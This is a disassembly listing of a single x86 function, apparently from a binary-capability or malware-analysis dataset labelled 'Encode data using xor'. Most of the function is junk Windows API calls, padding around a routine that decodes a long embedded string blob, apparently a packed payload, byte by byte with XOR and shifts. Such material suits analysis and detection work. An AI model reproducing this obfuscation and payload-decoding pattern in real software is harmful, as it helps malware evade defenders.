Function at 0x403280
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetAtomNameA]
push 0x97
push 0x408a28
push 0
call edi
mov esi, dword [sym.imp.USER32.dll_GetActiveWindow]
call esi
call esi
cmp dword [0x5a8df0], 0x108
jle 0x4032d5
push 0xea
push 0xa
push 0x13
push str.652B93
push 0xe6
push 0
push 0x89
call fcn.00402b90
call esi
push 0x96
push str.WII_Fg_bo8
push 0
call edi
mov eax, dword [0x5a8df0]
mov ebx, 0x129
cmp eax, ebx
jle 0x403312
push 0x66
push 0xa
push 0xc2
push str.652B93
push 0x83
push 0
push 0x8d
call fcn.00402b90
push 0xa9
push str.Lt7s
push 0
call edi
call esi
mov ecx, dword [0x5a8df0]
push 0x13
inc ecx
push str.uzQO9k61j
push 0
mov dword [0x5a8df0], ecx
call edi
call esi
cmp dword [0x5a8df0], 0x104
jne 0x403392
push 0xd0
push str.ZHlt.bxBo
push 0
call edi
push 0xa
push str.M_wVJ3Y0KXxh57g
push 0
call edi
push 0xc4
push 0x4089e0
push 0xb9
call fcn.004027d0
add esp, 0xc
push 0x12
push str.w6JmwQ
push 0
call edi
call esi
call esi
call esi
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call esi
push 0xb8
push str.99AL8
push 0
call edi
call esi
cmp dword [0x5a8df0], ebx
jl 0x403683
push 0xd5
push str.0_zygjR7
push 0
call edi
push 0xd9
push str.XTl44vhvEmL
push 0
call edi
mov eax, dword [0x5a9028]
test eax, eax
jne 0x403683
push 0xcb
mov ebx, 1
push str.FiEp86KBzuUpVAV
push 0
mov dword [0x5a9028], ebx
call edi
push 0x91
push str.2PNLRJxn8agjcN
push 0
call edi
push 0x79
push 0xa
push 0xf4
push str.652B93
push 0x1b
push 0
push 0x51
call fcn.00402b90
call esi
call esi
mov ecx, dword [0x408030]
lea eax, [ebp - 8]
push 0xac
push eax
push 0xbe
push 0x40
push 0xb3
push ecx
push 0xa7
push str.w19Pwo1hKT1G666pPxh1owhshPj9jTjP1Xwawo9h9x9Gp6ppsXx1TjxsxKawaTaPTjTaToshsxsGX6XpXXG1G9GsGKowoToPPjPaPoKhKxKG161p1X61696s6KoXhThPx9GajoX1sp11spp9awhaTsoP9GsX1T1PhK616s6Kxx1GhKjxjhjPhshT9K9xwhwj9KjawjxT1xphxspw6XaXTxTpTwTsKTXxXwXsP1KGGwGsToaKwX91999s9KpwpTpPxjxaxoahaxaGT6TpTXs1s9sssKXwXTXPGjGaGoohoxoGP6PpPXK1K9KsKK1w1T1P6j6a6ohhhxhGj6jpjXw1w9wswK9w9T9PpjpapoxhxxxGa6apaXT1T9TsTKswsTsPXjXaXoGhGxGGo6opoXP1P9PsPKKwKTKP1j1a1o6h6x6Gh6hphXj1j9jsjKwwwTwP9j9a9ophpxpGx6xpxXa1a9asaKTwTTTPsjsasoXhXxXGG6GpGXo1o9osoKPwPTPPwjwjKo1hXjKjPx6pKGahTXKGhKjwjTjPwjwawo9hxx9G6j6TTPaKaXToxKPpxaaPTjsapwshsxsGX6XpwwK1hGGsGKhwoToPPjXa6GKhKxKGG61p1XP1696s6KoshThPGKjajowhwxwG969psxp1p9pspKxwxTxPajxap9ThTxp1s6spsXX1X9Xsw6GwGTGPojoahoPhPxhGK6KpKX11K91s1KPw6T6PhjhahojhGxjGw6wpwX91999s9KpwpTpPhx9TTwah9KaGT6TpTXo1wssssKxawjXPGjGaGoohoxoGP6PpPXK1K9KsKK1w1T1PXKjTKwhhoKhGj6jpjXw1w9wswK9w9T9PpjpapoxhxxxGa6apaXT1T9TsTKswsTsPxxTT9wGhhKGGo6opoXP1P9PsPKKwKTKP1j1a1o6h6x6Gh6hphXj1j9jsjKwwwTwP9j9a9ophpxpGx6xpxXa1a9asaKTwTTTPsjsasoXhXxXGj6Gpxpp6pTp6oKPwPTPPKjTa1G1h1xKG666p6X1PoPhshKGajTjPwjwawo9h9x9Gp6pppXx1x9xsXKawaTGPhKhxj66osxsGX6XpXXx1G9GsGKawhaoPPjjPPoKhKxopKs1p1X61696s6KhwhThPjjjajowhaxwG966pP9GoGapspKxwxTxPajpaaoThTxTG96spsXX1X9XsXKGwjjGPojoaooPhPxPGK6KpKX11191sGK6w6T9PK6XKX6soXXsjw6wpwXa1999s9KawTTpPxjTpxoahaxaGpXTpTXs1s9sssKXwXTXPGjGaGooh6xoGP6spjTxGp6xxKK1w1T1P6jPa6ohhhxTGG6jpjXw1w9wswKXssj9PpjpapoxhxxxGa6apaXT1T9Ts9KswsTPPp6jph69owX9jo6opoX61P9PsPK9w1TKP1jKp1o6h6xKhoXhphXj1j9jsjKwwwTwP9j9a9ophsxpGx6jpsT1P6P6P6P1TTTTPsjwa9hXhXxhGj6GpGXo1o9osoK1a6jPPKjKaKo1h1x1G666p6Xh1h9hsPKjwjTxPT6GpG1oGGs9Gp6pppXX1aKxsxKKwppaPTjG1p1shsxw1wXXpXXG1G9GsGKowoToPPjPaPoKhjxKG16wpoTaKTaasa1XTXGhPjjPajowhwxxGXa9p9XXsp9pspKj1aPxPajaaaoThTxTGs6spsXX1X9XsxKGwGTaP16wxw6xopXxjK6KpKXK1191s1K6wK66PhjhahojhjxhhXpwpwX91999s9KpwpTpPxjxaxoahwxaGT6opTXs1s9sssKXwXTXPGjGaGoohoxoGP6PpPXK1K9KsKK1w1T1P6j6a6ohhhxhGj6jpjXw1w9wswK9w9T9PpjpapoxhxxxGa6apaXT1T9TsTKswsTsPXjXaXoGhGxGGo6opoXP1P9PsPKKwKTKP1j1a1o6h6x6Gh6hphXj1j9jsjKwwwTwP9j9a9ophpxpGx6xpxXa1a9asaKTwTTTPsjsasoXhXxXGG6GpGXo1o9osoKPwPTPP6jw9XaGGp1PjwxTpGP6spjsKxaKKKhKhs9pwT6hPoxTGXKh1TX1GaPs9a1xG6KjhXGwww191oKjsjopTwjwXTXXp961xhxsxs6paGx1PTTPsPwTKwph9KKX69wxph6pX61aPPPo6PPGppX9sxPah11GoX91sGxs6joaaohwKxXp1wjGawTGpaaP6wxjaxs9Xpj6wphsXajxXphPKoXhj6KaxG96pKo6soswG6ThaKxx9hwxPshahoaTsxGwpsTjoo1GxK9ohhhh9h6hGGXo9j1osw9KGwGjwoKjhPwjhaw9h9PK6TX6pPwhp69wj1TapaKPopKXPGPsTxpGahsh9xoPKGpGwKj9jsowo1apTxpxoa16xPsX69x6TTsXPPosjshosXPGKPp1KPh9wKsh9P66hsasXG991hsTGwxX66ohxa6paosojjTXXhsxxXxKsXTsX9xwoKTTX6Xwws1KxXhxsoh1Pwx16p9TsswhoKapo1spP6KGG9asP9xPP9oKwXhTPw6KGjj6PjXxTXsww6xsssTTxaK1ps1joGX6oK1ph99oGwp9jG1osTGo1sPGhxoasTThjPs1aT1TGhoKjsKKX91GpXhTpxhah9PxwXxxoawwasjoTjXXXshjGpPpasXssPwwKwXaXs69jjPxop6TPGPThh19hxappPspKosG19jsoTssXPTTwoThpaXa1PPXa1XaaowwGGp9PhKxK6ohGKao6GTpaaah61aoXjPTs9aKxwajTwGshajsajKKsGKPoha9jPx6j96oGPwPhGKhXoa1XaX9Pxp9jTaGjjo6T1XPa1P9PxGwXKwap1hxoGwx9TKpPoPXhjXpK6KaosT19KTjPjhjo11jh9hjp9Kja1Ppxa96sTj1Kppa69xp1wP6XjaxGxjTX11Gx96T9hPpshGPKsPXoPGjsx9sPGawsGKoKPPpx1PjxG1KX1T6aKxXKPwP6GTxXa9ox1ssj6xGTxj1X9KjGK1oPpGT6spKKK1X6xTaPxs6p666xaGpj1ajosaajTPxP96p1hGxoxT9awaKTTswhwpj6PxwwTKGahswsXhXPxoPjX9p9ppppx1o119To9XGwaxKx6XXx96aKPPTKTphKh19pxaoxGwaPxpXp11wjPoahaX6Gs11hP6s1TXjhpKKG9wPsTTxXTpP9TsXhTjoh9TXasphhGxGj116ajGwpTj9GhThhpxhapoj6h6hPxXh1wohG1X1Kooahxjo1oxK9aKKP99TP1xxsTP9XxX9wXTaGsxo6jpXa1K6PaoKhK9X99KxhojsPP6K96a9ThoPPj9swKj1KTahTKXjPopGohT9KT19pP69h6j1GsKajxwwK1jXsP6pjwKhGXP9p9jXoTxapaTTwTKa1w9a1pPTh9hK9KsGPhTx9whoGTPxXj1xPwxxxpoTjpPTPpjp6oww1xwp6GaTKjKp1wXa9xP6KpGxjjhwXKjTp9GG6XsG9Kophaa1asTXhj1TaT1ps6TwaGXKK6aPXxajphP6ppXpphs99wppXwoKwh9jGj6Pohj1ppPpoPpjpTK16oP669sxXhajpGxa96TKGKXT1aKspaTx9P6XxPXpPj1aPG6169PXpXPKsop6s6hx9pxaXKhjo69x1oxPoKsGP9osoT6w1hTPPKKxhojo6jjGPh9phXXohTpj6pXaTXTTxsTaxXxTj9oX1h6sxoxPss6pjwPw9TTjXhsKjhxs9XPXjjKsh6xoshowxTGXGxTpPaGxxjjpPah9G9TPPsjhoP616T99TsawTwo9sT9h1p1ThwPpTs6aa6pjTX9pxhsox9hsGxpjPTKKh19PpjGXPo96jsw6pT69PjKPXhaojXa6paPax6TKwPojPGP6KXwxh9wsKG9jhswhT1pTpssaoshppsxTG6xpX1owXwGPKTp9xws6x6shjaTXp1G1a9s9Gax1PKXwsx6XKsGKPGhXXs6wo1XwXxTo6GpaTs1GGsPXaGjj16s9pGph6xwPwh9KTXxPK1GoG1aTspP6hjs6GXK9wK6PpxXsaT9jKPxGT
push 0xdd
call fcn.00402b30
push 0x8a
push str.i7Nue
push 0
call edi
push 0xac
push str.k5E2Kmz6C5i_62
push 0
call edi
mov eax, str.w19Pwo1hKT1G666pPxh1owhshPj9jTjP1Xwawo9h9x9Gp6ppsXx1TjxsxKawaTaPTjTaToshsxsGX6XpXXG1G9GsGKowoToPPjPaPoKhKxKG161p1X61696s6KoXhThPx9GajoX1sp11spp9awhaTsoP9GsX1T1PhK616s6Kxx1GhKjxjhjPhshT9K9xwhwj9KjawjxT1xphxspw6XaXTxTpTwTsKTXxXwXsP1KGGwGsToaKwX91999s9KpwpTpPxjxaxoahaxaGT6TpTXs1s9sssKXwXTXPGjGaGoohoxoGP6PpPXK1K9KsKK1w1T1P6j6a6ohhhxhGj6jpjXw1w9wswK9w9T9PpjpapoxhxxxGa6apaXT1T9TsTKswsTsPXjXaXoGhGxGGo6opoXP1P9PsPKKwKTKP1j1a1o6h6x6Gh6hphXj1j9jsjKwwwTwP9j9a9ophpxpGx6xpxXa1a9asaKTwTTTPsjsasoXhXxXGG6GpGXo1o9osoKPwPTPPwjwjKo1hXjKjPx6pKGahTXKGhKjwjTjPwjwawo9hxx9G6j6TTPaKaXToxKPpxaaPTjsapwshsxsGX6XpwwK1hGGsGKhwoToPPjXa6GKhKxKGG61p1XP1696s6KoshThPGKjajowhwxwG969psxp1p9pspKxwxTxPajxap9ThTxp1s6spsXX1X9Xsw6GwGTGPojoahoPhPxhGK6KpKX11K91s1KPw6T6PhjhahojhGxjGw6wpwX91999s9KpwpTpPhx9TTwah9KaGT6TpTXo1wssssKxawjXPGjGaGoohoxoGP6PpPXK1K9KsKK1w1T1PXKjTKwhhoKhGj6jpjXw1w9wswK9w9T9PpjpapoxhxxxGa6apaXT1T9TsTKswsTsPxxTT9wGhhKGGo6opoXP1P9PsPKKwKTKP1j1a1o6h6x6Gh6hphXj1j9jsjKwwwTwP9j9a9ophpxpGx6xpxXa1a9asaKTwTTTPsjsasoXhXxXGj6Gpxpp6pTp6oKPwPTPPKjTa1G1h1xKG666p6X1PoPhshKGajTjPwjwawo9h9x9Gp6pppXx1x9xsXKawaTGPhKhxj66osxsGX6XpXXx1G9GsGKawhaoPPjjPPoKhKxopKs1p1X61696s6KhwhThPjjjajowhaxwG966pP9GoGapspKxwxTxPajpaaoThTxTG96spsXX1X9XsXKGwjjGPojoaooPhPxPGK6KpKX11191sGK6w6T9PK6XKX6soXXsjw6wpwXa1999s9KawTTpPxjTpxoahaxaGpXTpTXs1s9sssKXwXTXPGjGaGooh6xoGP6spjTxGp6xxKK1w1T1P6jPa6ohhhxTGG6jpjXw1w9wswKXssj9PpjpapoxhxxxGa6apaXT1T9Ts9KswsTPPp6jph69owX9jo6opoX61P9PsPK9w1TKP1jKp1o6h6xKhoXhphXj1j9jsjKwwwTwP9j9a9ophsxpGx6jpsT1P6P6P6P1TTTTPsjwa9hXhXxhGj6GpGXo1o9osoK1a6jPPKjKaKo1h1x1G666p6Xh1h9hsPKjwjTxPT6GpG1oGGs9Gp6pppXX1aKxsxKKwppaPTjG1p1shsxw1wXXpXXG1G9GsGKowoToPPjPaPoKhjxKG16wpoTaKTaasa1XTXGhPjjPajowhwxxGXa9p9XXsp9pspKj1aPxPajaaaoThTxTGs6spsXX1X9XsxKGwGTaP16wxw6xopXxjK6KpKXK1191s1K6wK66PhjhahojhjxhhXpwpwX91999s9KpwpTpPxjxaxoahwxaGT6opTXs1s9sssKXwXTXPGjGaGoohoxoGP6PpPXK1K9KsKK1w1T1P6j6a6ohhhxhGj6jpjXw1w9wswK9w9T9PpjpapoxhxxxGa6apaXT1T9TsTKswsTsPXjXaXoGhGxGGo6opoXP1P9PsPKKwKTKP1j1a1o6h6x6Gh6hphXj1j9jsjKwwwTwP9j9a9ophpxpGx6xpxXa1a9asaKTwTTTPsjsasoXhXxXGG6GpGXo1o9osoKPwPTPP6jw9XaGGp1PjwxTpGP6spjsKxaKKKhKhs9pwT6hPoxTGXKh1TX1GaPs9a1xG6KjhXGwww191oKjsjopTwjwXTXXp961xhxsxs6paGx1PTTPsPwTKwph9KKX69wxph6pX61aPPPo6PPGppX9sxPah11GoX91sGxs6joaaohwKxXp1wjGawTGpaaP6wxjaxs9Xpj6wphsXajxXphPKoXhj6KaxG96pKo6soswG6ThaKxx9hwxPshahoaTsxGwpsTjoo1GxK9ohhhh9h6hGGXo9j1osw9KGwGjwoKjhPwjhaw9h9PK6TX6pPwhp69wj1TapaKPopKXPGPsTxpGahsh9xoPKGpGwKj9jsowo1apTxpxoa16xPsX69x6TTsXPPosjshosXPGKPp1KPh9wKsh9P66hsasXG991hsTGwxX66ohxa6paosojjTXXhsxxXxKsXTsX9xwoKTTX6Xwws1KxXhxsoh1Pwx16p9TsswhoKapo1spP6KGG9asP9xPP9oKwXhTPw6KGjj6PjXxTXsww6xsssTTxaK1ps1joGX6oK1ph99oGwp9jG1osTGo1sPGhxoasTThjPs1aT1TGhoKjsKKX91GpXhTpxhah9PxwXxxoawwasjoTjXXXshjGpPpasXssPwwKwXaXs69jjPxop6TPGPThh19hxappPspKosG19jsoTssXPTTwoThpaXa1PPXa1XaaowwGGp9PhKxK6ohGKao6GTpaaah61aoXjPTs9aKxwajTwGshajsajKKsGKPoha9jPx6j96oGPwPhGKhXoa1XaX9Pxp9jTaGjjo6T1XPa1P9PxGwXKwap1hxoGwx9TKpPoPXhjXpK6KaosT19KTjPjhjo11jh9hjp9Kja1Ppxa96sTj1Kppa69xp1wP6XjaxGxjTX11Gx96T9hPpshGPKsPXoPGjsx9sPGawsGKoKPPpx1PjxG1KX1T6aKxXKPwP6GTxXa9ox1ssj6xGTxj1X9KjGK1oPpGT6spKKK1X6xTaPxs6p666xaGpj1ajosaajTPxP96p1hGxoxT9awaKTTswhwpj6PxwwTKGahswsXhXPxoPjX9p9ppppx1o119To9XGwaxKx6XXx96aKPPTKTphKh19pxaoxGwaPxpXp11wjPoahaX6Gs11hP6s1TXjhpKKG9wPsTTxXTpP9TsXhTjoh9TXasphhGxGj116ajGwpTj9GhThhpxhapoj6h6hPxXh1wohG1X1Kooahxjo1oxK9aKKP99TP1xxsTP9XxX9wXTaGsxo6jpXa1K6PaoKhK9X99KxhojsPP6K96a9ThoPPj9swKj1KTahTKXjPopGohT9KT19pP69h6j1GsKajxwwK1jXsP6pjwKhGXP9p9jXoTxapaTTwTKa1w9a1pPTh9hK9KsGPhTx9whoGTPxXj1xPwxxxpoTjpPTPpjp6oww1xwp6GaTKjKp1wXa9xP6KpGxjjhwXKjTp9GG6XsG9Kophaa1asTXhj1TaT1ps6TwaGXKK6aPXxajphP6ppXpphs99wppXwoKwh9jGj6Pohj1ppPpoPpjpTK16oP669sxXhajpGxa96TKGKXT1aKspaTx9P6XxPXpPj1aPG6169PXpXPKsop6s6hx9pxaXKhjo69x1oxPoKsGP9osoT6w1hTPPKKxhojo6jjGPh9phXXohTpj6pXaTXTTxsTaxXxTj9oX1h6sxoxPss6pjwPw9TTjXhsKjhxs9XPXjjKsh6xoshowxTGXGxTpPaGxxjjpPah9G9TPPsjhoP616T99TsawTwo9sT9h1p1ThwPpTs6aa6pjTX9pxhsox9hsGxpjPTKKh19PpjGXPo96jsw6pT69PjKPXhaojXa6paPax6TKwPojPGP6KXwxh9wsKG9jhswhT1pTpssaoshppsxTG6xpX1owXwGPKTp9xws6x6shjaTXp1G1a9s9Gax1PKXwsx6XKsGKPGhXXs6wo1XwXxTo6GpaTs1GGsPXaGjj16s9pGph6xwPwh9KTXxPK1GoG1aTspP6hjs6GXK9wK6PpxXsaT9jKPxGT
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], eax
mov byte [ebp - 3], 0xee
call esi
call esi
call esi
cmp dword [0x408030], ebx
jl 0x4035e1
call esi
push 0x7f
push str.euINpGtPn4io
push 0
call edi
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov byte [ebp - 2], al
movsx edx, byte [ebp - 2]
push edx
push str.KPoGXsTaxp9wjh61fzseiqhrenwjfea
call fcn.004046b0
add esp, 8
mov ebx, eax
mov eax, str.KPoGXsTaxp9wjh61fzseiqhrenwjfea
push 0x8d
push str.oVPZM
push 0
sub bl, al
call edi
call esi
call esi
call esi
call esi
mov ecx, dword [ebp - 0xc]
push 0xc8
inc ecx
push str.NlBeJm5rrjzqdo
push 0
mov dword [ebp - 0xc], ecx
call edi
push 0x94
push str.uKFxdH
push 0
call edi
mov eax, dword [ebp - 0xc]
mov eax, dword [eax]
mov byte [ebp - 2], al
call esi
push 0xab
push str.kHtXJppXv
push 0
call edi
movsx ecx, byte [ebp - 2]
push ecx
push str.KPoGXsTaxp9wjh61fzseiqhrenwjfea
call fcn.004046b0
shl bl, 4
mov edx, str.KPoGXsTaxp9wjh61fzseiqhrenwjfea
add esp, 8
sub bl, dl
add al, bl
mov byte [ebp - 1], al
call esi
push 0x96
push str.cyxiM35yjy
push 0
call edi
mov bl, byte [ebp - 3]
push 0x47
add bl, 5
push str.ZrFwnp
push 0
mov byte [ebp - 3], bl
call edi
call esi
call esi
call esi
call esi
mov al, byte [ebp - 1]
push 0x9f
xor al, bl
push str.1Jp.lDfDE6Yc2X
inc al
push 0
mov byte [ebp - 1], al
call edi
call esi
call esi
mov eax, 0
mov al, byte [ebp - 1]
mov ebx, dword [ebp - 0x10]
mov byte [ebx], al
call esi
push 0xc9
push 0x40891c
push 0
call edi
inc dword [ebp - 0xc]
call esi
push pe_nt_image_headers32
push str.710Cze0l
push 0
call edi
mov ecx, dword [ebp - 0x10]
push 0x6c
inc ecx
push str.GOLe4Q
push 0
mov dword [ebp - 0x10], ecx
call edi
call esi
call esi
mov ebx, dword [ebp - 0x14]
add ebx, 2
mov dword [ebp - 0x14], ebx
call esi
call esi
push 0x60
push str.u8ZgmBy_
push 0
call edi
cmp ebx, dword [0x408030]
jle 0x40348d
call esi
push 0x8e
push str.lPaAwpS
push 0
call edi
push 0xcf
push str.w19Pwo1hKT1G666pPxh1owhshPj9jTjP1Xwawo9h9x9Gp6ppsXx1TjxsxKawaTaPTjTaToshsxsGX6XpXXG1G9GsGKowoToPPjPaPoKhKxKG161p1X61696s6KoXhThPx9GajoX1sp11spp9awhaTsoP9GsX1T1PhK616s6Kxx1GhKjxjhjPhshT9K9xwhwj9KjawjxT1xphxspw6XaXTxTpTwTsKTXxXwXsP1KGGwGsToaKwX91999s9KpwpTpPxjxaxoahaxaGT6TpTXs1s9sssKXwXTXPGjGaGoohoxoGP6PpPXK1K9KsKK1w1T1P6j6a6ohhhxhGj6jpjXw1w9wswK9w9T9PpjpapoxhxxxGa6apaXT1T9TsTKswsTsPXjXaXoGhGxGGo6opoXP1P9PsPKKwKTKP1j1a1o6h6x6Gh6hphXj1j9jsjKwwwTwP9j9a9ophpxpGx6xpxXa1a9asaKTwTTTPsjsasoXhXxXGG6GpGXo1o9osoKPwPTPPwjwjKo1hXjKjPx6pKGahTXKGhKjwjTjPwjwawo9hxx9G6j6TTPaKaXToxKPpxaaPTjsapwshsxsGX6XpwwK1hGGsGKhwoToPPjXa6GKhKxKGG61p1XP1696s6KoshThPGKjajowhwxwG969psxp1p9pspKxwxTxPajxap9ThTxp1s6spsXX1X9Xsw6GwGTGPojoahoPhPxhGK6KpKX11K91s1KPw6T6PhjhahojhGxjGw6wpwX91999s9KpwpTpPhx9TTwah9KaGT6TpTXo1wssssKxawjXPGjGaGoohoxoGP6PpPXK1K9KsKK1w1T1PXKjTKwhhoKhGj6jpjXw1w9wswK9w9T9PpjpapoxhxxxGa6apaXT1T9TsTKswsTsPxxTT9wGhhKGGo6opoXP1P9PsPKKwKTKP1j1a1o6h6x6Gh6hphXj1j9jsjKwwwTwP9j9a9ophpxpGx6xpxXa1a9asaKTwTTTPsjsasoXhXxXGj6Gpxpp6pTp6oKPwPTPPKjTa1G1h1xKG666p6X1PoPhshKGajTjPwjwawo9h9x9Gp6pppXx1x9xsXKawaTGPhKhxj66osxsGX6XpXXx1G9GsGKawhaoPPjjPPoKhKxopKs1p1X61696s6KhwhThPjjjajowhaxwG966pP9GoGapspKxwxTxPajpaaoThTxTG96spsXX1X9XsXKGwjjGPojoaooPhPxPGK6KpKX11191sGK6w6T9PK6XKX6soXXsjw6wpwXa1999s9KawTTpPxjTpxoahaxaGpXTpTXs1s9sssKXwXTXPGjGaGooh6xoGP6spjTxGp6xxKK1w1T1P6jPa6ohhhxTGG6jpjXw1w9wswKXssj9PpjpapoxhxxxGa6apaXT1T9Ts9KswsTPPp6jph69owX9jo6opoX61P9PsPK9w1TKP1jKp1o6h6xKhoXhphXj1j9jsjKwwwTwP9j9a9ophsxpGx6jpsT1P6P6P6P1TTTTPsjwa9hXhXxhGj6GpGXo1o9osoK1a6jPPKjKaKo1h1x1G666p6Xh1h9hsPKjwjTxPT6GpG1oGGs9Gp6pppXX1aKxsxKKwppaPTjG1p1shsxw1wXXpXXG1G9GsGKowoToPPjPaPoKhjxKG16wpoTaKTaasa1XTXGhPjjPajowhwxxGXa9p9XXsp9pspKj1aPxPajaaaoThTxTGs6spsXX1X9XsxKGwGTaP16wxw6xopXxjK6KpKXK1191s1K6wK66PhjhahojhjxhhXpwpwX91999s9KpwpTpPxjxaxoahwxaGT6opTXs1s9sssKXwXTXPGjGaGoohoxoGP6PpPXK1K9KsKK1w1T1P6j6a6ohhhxhGj6jpjXw1w9wswK9w9T9PpjpapoxhxxxGa6apaXT1T9TsTKswsTsPXjXaXoGhGxGGo6opoXP1P9PsPKKwKTKP1j1a1o6h6x6Gh6hphXj1j9jsjKwwwTwP9j9a9ophpxpGx6xpxXa1a9asaKTwTTTPsjsasoXhXxXGG6GpGXo1o9osoKPwPTPP6jw9XaGGp1PjwxTpGP6spjsKxaKKKhKhs9pwT6hPoxTGXKh1TX1GaPs9a1xG6KjhXGwww191oKjsjopTwjwXTXXp961xhxsxs6paGx1PTTPsPwTKwph9KKX69wxph6pX61aPPPo6PPGppX9sxPah11GoX91sGxs6joaaohwKxXp1wjGawTGpaaP6wxjaxs9Xpj6wphsXajxXphPKoXhj6KaxG96pKo6soswG6ThaKxx9hwxPshahoaTsxGwpsTjoo1GxK9ohhhh9h6hGGXo9j1osw9KGwGjwoKjhPwjhaw9h9PK6TX6pPwhp69wj1TapaKPopKXPGPsTxpGahsh9xoPKGpGwKj9jsowo1apTxpxoa16xPsX69x6TTsXPPosjshosXPGKPp1KPh9wKsh9P66hsasXG991hsTGwxX66ohxa6paosojjTXXhsxxXxKsXTsX9xwoKTTX6Xwws1KxXhxsoh1Pwx16p9TsswhoKapo1spP6KGG9asP9xPP9oKwXhTPw6KGjj6PjXxTXsww6xsssTTxaK1ps1joGX6oK1ph99oGwp9jG1osTGo1sPGhxoasTThjPs1aT1TGhoKjsKKX91GpXhTpxhah9PxwXxxoawwasjoTjXXXshjGpPpasXssPwwKwXaXs69jjPxop6TPGPThh19hxappPspKosG19jsoTssXPTTwoThpaXa1PPXa1XaaowwGGp9PhKxK6ohGKao6GTpaaah61aoXjPTs9aKxwajTwGshajsajKKsGKPoha9jPx6j96oGPwPhGKhXoa1XaX9Pxp9jTaGjjo6T1XPa1P9PxGwXKwap1hxoGwx9TKpPoPXhjXpK6KaosT19KTjPjhjo11jh9hjp9Kja1Ppxa96sTj1Kppa69xp1wP6XjaxGxjTX11Gx96T9hPpshGPKsPXoPGjsx9sPGawsGKoKPPpx1PjxG1KX1T6aKxXKPwP6GTxXa9ox1ssj6xGTxj1X9KjGK1oPpGT6spKKK1X6xTaPxs6p666xaGpj1ajosaajTPxP96p1hGxoxT9awaKTTswhwpj6PxwwTKGahswsXhXPxoPjX9p9ppppx1o119To9XGwaxKx6XXx96aKPPTKTphKh19pxaoxGwaPxpXp11wjPoahaX6Gs11hP6s1TXjhpKKG9wPsTTxXTpP9TsXhTjoh9TXasphhGxGj116ajGwpTj9GhThhpxhapoj6h6hPxXh1wohG1X1Kooahxjo1oxK9aKKP99TP1xxsTP9XxX9wXTaGsxo6jpXa1K6PaoKhK9X99KxhojsPP6K96a9ThoPPj9swKj1KTahTKXjPopGohT9KT19pP69h6j1GsKajxwwK1jXsP6pjwKhGXP9p9jXoTxapaTTwTKa1w9a1pPTh9hK9KsGPhTx9whoGTPxXj1xPwxxxpoTjpPTPpjp6oww1xwp6GaTKjKp1wXa9xP6KpGxjjhwXKjTp9GG6XsG9Kophaa1asTXhj1TaT1ps6TwaGXKK6aPXxajphP6ppXpphs99wppXwoKwh9jGj6Pohj1ppPpoPpjpTK16oP669sxXhajpGxa96TKGKXT1aKspaTx9P6XxPXpPj1aPG6169PXpXPKsop6s6hx9pxaXKhjo69x1oxPoKsGP9osoT6w1hTPPKKxhojo6jjGPh9phXXohTpj6pXaTXTTxsTaxXxTj9oX1h6sxoxPss6pjwPw9TTjXhsKjhxs9XPXjjKsh6xoshowxTGXGxTpPaGxxjjpPah9G9TPPsjhoP616T99TsawTwo9sT9h1p1ThwPpTs6aa6pjTX9pxhsox9hsGxpjPTKKh19PpjGXPo96jsw6pT69PjKPXhaojXa6paPax6TKwPojPGP6KXwxh9wsKG9jhswhT1pTpssaoshppsxTG6xpX1owXwGPKTp9xws6x6shjaTXp1G1a9s9Gax1PKXwsx6XKsGKPGhXXs6wo1XwXxTo6GpaTs1GGsPXaGjj16s9pGph6xwPwh9KTXxPK1GoG1aTspP6hjs6GXK9wK6PpxXsaT9jKPxGT
push 0x59
call fcn.00402c70
push 0xe9
push 0x4088f0
push 0
mov ebx, eax
call edi
call esi
push 0x16
push str.oKC3RJdTElqJQ
push 0
call edi
push 0x8b
push 0x104
lea eax, [ebp - 0x118]
push 0x2c
push eax
push 0x7a
push 0
push 0x87
call fcn.00402d60
push 0xe8
push str.2IggJEMjiVL7Ta
push 0
call edi
call esi
call esi
push 0xd4
push 0x5a902c
lea ecx, [ebp - 0x118]
push 0xee
push ecx
push 0x28
push ebx
push 0x3b
call fcn.00402e40
push 0x21
push 0x4088cc
push 0
call edi
call esi
call esi
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret